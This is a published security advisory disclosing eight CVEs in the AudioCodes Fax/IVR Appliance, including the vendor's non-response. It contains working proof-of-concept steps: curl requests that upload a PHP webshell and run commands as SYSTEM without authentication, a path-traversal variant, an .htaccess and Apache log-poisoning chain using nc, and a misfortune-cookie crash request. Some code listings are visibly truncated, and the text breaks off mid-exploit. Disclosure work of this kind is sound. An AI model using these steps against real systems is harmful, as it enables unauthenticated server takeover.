-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ## Advisory Information Title: 8 vulnerabilities in AudioCodes Fax/IVR Appliance Advisory URL: https://pierrekim.github.io/advisories/2025-audiocodes-fax-ivr.txt Blog URL: https://pierrekim.github.io/blog/2025-11-20-audiocodes-fax-ivr-8-vulnerabilities.html Date published: 2025-11-20 Vendors contacted: Audiocodes Release mode: Released CVE: CVE-2025-34328, CVE-2025-34329, CVE-2025-34330, CVE-2025-34331, CVE-2025-34332, CVE-2025-34333, CVE-2025-34334, CVE-2025-34335 ## Product description > AudioCodes' Fax Server (Fax to Mail and Mail to Fax) application is a powerful and flexible software > application used to manage inbound fax calls and outbound mail-to-fax calls, delivering them > efficiently to their correct destination. > > From https://www.audiocodes.com/media/14442/fax-server-and-auto-attendant-ivr-administrators-guide-ver-26x.pdf ## Vulnerabilities Summary Vulnerable versions: all versions. The summary of the vulnerabilities is: 1. CVE-2025-34328 - Pre-authenticated Remote Code Execution #1 2. CVE-2025-34329 - Pre-authenticated Remote Code Execution #2 3. CVE-2025-34330 - Pre-authenticated File upload vulnerability 4. CVE-2025-34331 - Pre-authenticated File read 5. CVE-2025-34332 - Local Privilege Escalation #1 6. CVE-2025-34333 - Local Privilege Escalation #2 7. CVE-2025-34334 - Post-authenticated Command Injection and Local Privilege Escalation 8. CVE-2025-34335 - Post-authenticated Command Injection _Miscellaneous notes_: The critical vulnerabilities have been confirmed to be present in the latest public version. Other vulnerabilities I have also identified require authentication, therefore the security risk is considered low to medium: - - An attacker with admin privileges in the web interface can execute commands as `NT AUTHORITY\SYSTEM` in several ways; - - An attacker with a local account on the server will very quickly gain `NT AUTHORITY\SYSTEM` privileges, as file and directory permissions are insecure everywhere. Vulnerabilities #1, #2 #3 and #4 were shared with Audiocodes PSIRT but communication was almost nonexistent (see Report Timeline): AudioCodes PSIRT never provided any information or feedback, even with my regular follow-up emails. I also believe that this solution is EOL since December 31, 2024. Vulnerabilities #5, #7 and #8 were discovered during an audit of an "unsupported" version of the AudioCodes Fax/IVR Appliance that was incorrectly patched. New unsupported versions were found in the vendor AWS S3 bucket that allows directory listing (https://downloads-audiocodes.s3.eu-central-1.amazonaws.com/) - this bucket is used by the vendor to distribute some of its solutions. Surprisingly, the root causes were not addressed and the vulnerabilities #1 through #4 were still present. Vulnerability #6 was simply discovered during the creation of this security advisory to illustrate insecure permissions. I didn't spend much time analyzing this solution (installation took 10 minutes and the first pre-auth RCE was found in about 5 minutes), but the existing PHP code presents a considerable attack surface. Regarding the security status of this product, it is also quite surprising to find no public CVEs. I assume this solution has never been audited. Unfortunately, the vendor has not followed their official security vulnerability handling. AudioCode's PSIRT team has not responded, and security advisories have not been published. Additionally, It is also worth noting that Audiocodes Session Border Controllers (SBCs) were quietly patched in 2024 to address the misfortune cookie vulnerability (CVE-2014-9222). This exploit was tested on the Median Virtual Edition and Mediant 800 SBCs. kali% curl -kv --header 'Cookie: C1012213=1' https:///192.168.0.2/ -> /acBin/TPApp will segfault in the remote appliance/ARM device - - firmware sbc-F7.40A.005.619 is vulnerable. - - firmware sbc-F7.40A.500.781 is not vulnerable. No security bulletins were found regarding this silently patched vulnerability and it is recommended to use the latest firmware version of Audiocodes Session Border Controllers. _Impacts_ An attacker can compromise AudioCodes Fax/IVR Appliance without authentication and move laterally in the telecom and IT infrastructure. An attacker can compromise outdated AudioCodes Session Border Controllers with the misfortune cookie vulnerability. _Recommendations_ Do not use AudioCodes Fax/IVR Appliance. Do not expose the AudioCodes Fax/IVR Appliance to the network. Use secure permissions. Remove vulnerable webpages. Update Audiocodes Session Border Controllers. ## Identification of the solution The latest solution (AudioCodes Fax/IVR Appliance Installer, Version 2.6.230.000) can be found at: - - https://downloads-audiocodes.s3.eu-central-1.amazonaws.com/Download/AC_FAX_IVR_IW.html - - https://downloads-audiocodes.s3.eu-central-1.amazonaws.com/Fax_IVR/FaxAtt_Setup_2.6.230.000.zip [please use the HTML version at https://pierrekim.github.io/blog/2025-11-20-audiocodes-fax-ivr-8-vulnerabilities.html] ## Details - Pre-authenticated Remote Code Execution #1 The vulnerability is located in the `C:\F2MAdmin\F2E\AudioCodes_files\utils\IVR\diagram\ajaxScript.php` PHP file. This file allows an attacker to upload files without authentication. Content of `C:\F2MAdmin\F2E\AudioCodes_files\utils\IVR\diagram\ajaxScript.php`: [code:php] 1 GetSysInfo(); 33 $path = $sysInfo[SystemStatus::SCRIPTS_DIR]; 34 35 $ok = 'false'; 36 $ok = file_put_contents($path."/".$scriptName, $scriptValue); // [3] - insecure file write with attacker-controlled values 37 if($ok === true){ 38 $ok = 'true'; 39 } 40 ob_clean(); 41 echo ($ok); 42 die; 43 } 44 } [/code] As shown in the source code, there is no authentication. Without authentication, a remote attacker can access line 36 to write any file under `NT AUTHORITY\system` (Apache runs as `NT AUTHORITY\system`) because all the arguments for the `file_put_contents()` function are under attacker's control. A PoC is provided below. A webshell is uploaded and a command is executed: kali% curl -kv "http://10.105.0.239:8090/AudioCodes_files/utils/IVR/diagram/ajaxScript.php?action=saveScript" -d "name=F2MAdmin/F2E/webshell4.php&value=" * Trying 10.105.0.239:8090... * Connected to 10.105.0.239 (10.105.0.239) port 8090 * using HTTP/1.x > POST /AudioCodes_files/utils/IVR/diagram/ajaxScript.php?action=saveScript HTTP/1.1 > Host: 10.105.0.239:8090 > User-Agent: curl/8.13.0 > Accept: */* > Content-Length: 65 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 65 bytes < HTTP/1.1 200 OK < Date: Mon, 26 May 2025 14:44:38 GMT < Server: Apache/2.4.62 (Win32) OpenSSL/3.1.7 PHP/8.1.31 < X-Powered-By: PHP/8.1.31 < Set-Cookie: PHPSESSID=301ccae912e0c2aee878361e74d5bb30; path=/ < Expires: Thu, 19 Nov 1981 08:52:00 GMT < Cache-Control: no-store, no-cache, must-revalidate < Pragma: no-cache < Content-Length: 2 < Content-Type: text/html; charset=UTF-8 < * Connection #0 to host 10.105.0.239 left intact % kali% curl "http://10.105.0.239:8090/webshell4.php?c=whoami" nt authority\system kali% The resulting commands will be executed as `NT AUTHORITY\system` (meaning full control of the remote server without authentication). If the `SystemStatus::SCRIPTS_DIR` variable (used for the `$path` variable in line 33) is set to a specific directory, the attacker can simply specify `name=/../../../../../../../F2MAdmin/F2E/webshell4.php` as a path traversal in the HTTP request to traverse the directory and write the webshell in the `C:\F2MAdmin\F2E\` directory (corresponding to the `DocumentRoot` directory). ## Details - Pre-authenticated Remote Code Execution #2 The `C:\F2MAdmin\F2E\AudioCodes_files\ajaxBackupUploadFile.php` PHP script does not implement authentication, allowing any remote attacker to upload any file and overwrite any backup file in the default backup folder (default is `C:\`). Content of `C:\F2MAdmin\F2E\AudioCodes_files\ajaxBackupUploadFile.php`: [code:php] 1 GetBackupFolderPath()."\\"; 8 9 10 //$target_path = "C:\\F2MAdmin\\tmp\\"; 11 12 if(!is_dir($target_path)) 13 mkdir($target_path, 0777, true); 14 /* Add the original filename to our target path. 15 Result is "uploads/filename.extension" */ 16 $target_path = $target_path . basename( $_FILES['fileToUpload']['name']); 17 if(move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $target_path)) { 18 echo "The file ". basename( $_FILES['fileToUpload']['name']). 19 " has been uploaded."; 20 } else{ 21 echo "There was an error uploading the file, please try again!"; 22 } 23 die; [/code] Exploitation is explained below: 1. With `/AudioCodes_files/ajaxBackupUploadFile.php`, upload of a `.htaccess` file in `C:\` containing this line: ``` php_value auto_prepend_file C:/Apache24/logs/access.log ``` You can also skip step 2 and directly include a base64-encoded PHP webshell inside the `.htaccess` file with `auto_prepend_file = "data:;base64,BASE64(webshell)"` but it will probably be detected and blocked by any EDR. 2. Apache logs will be used to store a PHP webshell by requesting `/OUTPUT:` (this is an invalid HTTP request as we do not want to URL-encode the space into `%20`). The `OUTPUT` keyword is used to filter the interesting part of the resulting webpages in step 3 since the answer will also contain some HTML tags and JavaScript code. 3. Getting Remote Code Execution by reaching any PHP page because the `C:\Apache24\logs\access.log` file will now be appended and it contains a PHP webshell. PoC: kali% curl -F "fileToUpload=php_value auto_prepend_file C:/Apache24/logs/access.log;filename=.htaccess" http://10.105.0.239:8090/AudioCodes_files/ajaxBackupUploadFile.php The file .htaccess has been uploaded. kali% echo "OUTPUT:" | nc -v 10.105.0.239 8090 10.105.0.239: inverse host lookup failed: Unknown host (UNKNOWN) [10.105.0.239] 8090 (?) open HTTP/1.1 400 Bad Request Date: 26 May 2025 14:54:31 GMT Server: Apache/2.4.62 (Win32) OpenSSL/3.1.7 PHP/8.1.31 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1
Your browser sent a request that this server could not understand.